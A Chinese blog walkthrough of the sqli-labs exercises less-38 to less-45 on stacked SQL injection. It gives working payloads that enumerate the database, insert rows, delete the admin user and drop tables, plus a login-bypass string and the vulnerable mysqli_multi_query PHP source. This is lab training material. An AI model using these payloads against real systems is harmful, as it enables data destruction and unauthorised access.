堆叠注入
less-38
less-38
不是吧 这就出来了?
?id=0′ union select 1,2,3;%00 显示位置为2,3
?id=0′ union select 1,database(),3;%00 数据库为security
?id=0′ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’security‘;%00 不至于吧 这就出来了
看源码
例如以下这个例子:
用户输入:?id=1; delete from products服务器端生成的SQL语句为:select * from products where productid=1; delete from products当执行查询之后,第一条显示查询信息,第二条则是将整个表删除。适用条件
用户采用PDO编程( POD(PHP Data Object))且没有对参数进行过滤
mysqli_multi_query()函数也可以造成堆叠注入
我们本次尝试的语句:
/?id=1′;insert into users(id,username,password) values(‘100′,’abc‘,’abc‘); –+
成功
<?php if(isset($_GET['id'])) //判断id参数是否存在 { $id=$_GET['id']; //获取id参数 $fp=fopen('result.txt','a'); fwrite($fp,'ID:'.$id."n"); fclose($fp); //日志 $con1 = mysqli_connect($host,$dbuser,$dbpass,$dbname);//用于连接数据库 if (mysqli_connect_errno($con1))//查看是否连接成功 { echo "Failed to connect to MySQL: " . mysqli_connect_error();//失败报错 } else//连接指定security数据库 { @mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database: $dbname"); } $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";//查询语句 注入点 if (mysqli_multi_query($con1, $sql))//一次执行可以执行多条语句 这个函数造成的堆叠注入 { if ($result = mysqli_store_result($con1))//将sql语句查询的结果保存到内存中 并返回一个对象 { if($row = mysqli_fetch_row($result))//获取第一行数据 { printf("Your Username is : %s", $row[1]);//第一列数据 printf("Your Password is : %s", $row[2]);//第二列数据 } } if (mysqli_more_results($con1)) { } } else { print_r(mysqli_error($con1)); } mysqli_close($con1); } else { echo "Please input the ID as parameter with numeric value";} ?>
less-39
?id=1 and 1=1 成功
?id=1 and 1=2 失败
使用堆叠注入
?id=1;insert into users(id,username,password) values(‘101’,’abc‘,’abc‘); –+
less-40
判断注入点
?id=1 and 1=1 成功
?id=1 and 1=2 成功
?id=1′) and 1=1;%00 成功
?id=1′) and 1=2;%00 失败
代码分析
less-41
?id=1 and 1=1 成功
less-42
感觉像二次注入 先不进行抓包 先看看登录界面注册页面都是什么
经过测试 username处是没有注入点的 不能使用二次注入 并且新建一次用户后不让我继续新建用户了
&login_password=123′ and ‘1’=’1 不报错了估计是单引号 试试堆叠注入
&login_password=123′ and ‘1’=’1′;insert into users(id,username,password) values(‘104’,’abc‘,’abc‘);
less-43
该如何做
不报错了 确定注入点了
判断出有3列
依旧是报错注入
但是考察的不是报错注入 而是叠加注入
login_user=tzy&login_password=tzy‘);delete from users where username=’admin‘;–+&mysubmit=Login
admin用户不见了
less-44
采用盲注 无报错 百度搜的教程都是没有判断注入过程的 直接使用叠加注入
login_user=tzy&login_password=tzy‘;delete from users where username=’admin1′;&mysubmit=Login
less-45
做到这题我才明白这种题怎么做
a’) OR 1 = 1# 采用万能密码有好处 就是可以确定注入点类型 如果符号引发报错也登录不成功 如果因为符号引发的报错会导致永真的条件失效 从而无法登陆
登陆成功 证明有注入点 接下来使用叠加注入 每次退出重新登陆添加构造的语句 其实都不用万能密码登录 因为 反正后面的sql语句都会执行 前面的执行还是不执行都不影响
a’) OR 1 = 1;CREATE TABLE WhiteMoon LIKE users;#
a’) OR 1 = 1;INSERT INTO WhiteMoon SELECT * FROM users;#
a’) OR 1 = 1;DELETE FROM WhiteMoon;#
a’) OR 1 = 1;DROP TABLE WhiteMoon;#
最后发现 多条语句 前一条语句不报错的情况下 才能执行第二条语句
&login_password=tzy;DELETE FROM users WHERE username=’admin2′; 不可执行
&login_password=tzy‘);DELETE FROM users WHERE username=’admin2′; 可执行
后端sql语句
$username = mysqli_real_escape_string($con1, $_POST[“login_user”]);
$password = $_POST[“login_password”];
$sql = “SELECT * FROM users WHERE username=(‘$username’) and password=(‘$password’)”;
原文地址:https://blog.csdn.net/m0_72125469/article/details/134692401
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.7code.cn/show_18715.html
如若内容造成侵权/违法违规/事实不符,请联系代码007邮箱:suwngjj01@126.com进行投诉反馈,一经查实,立即删除!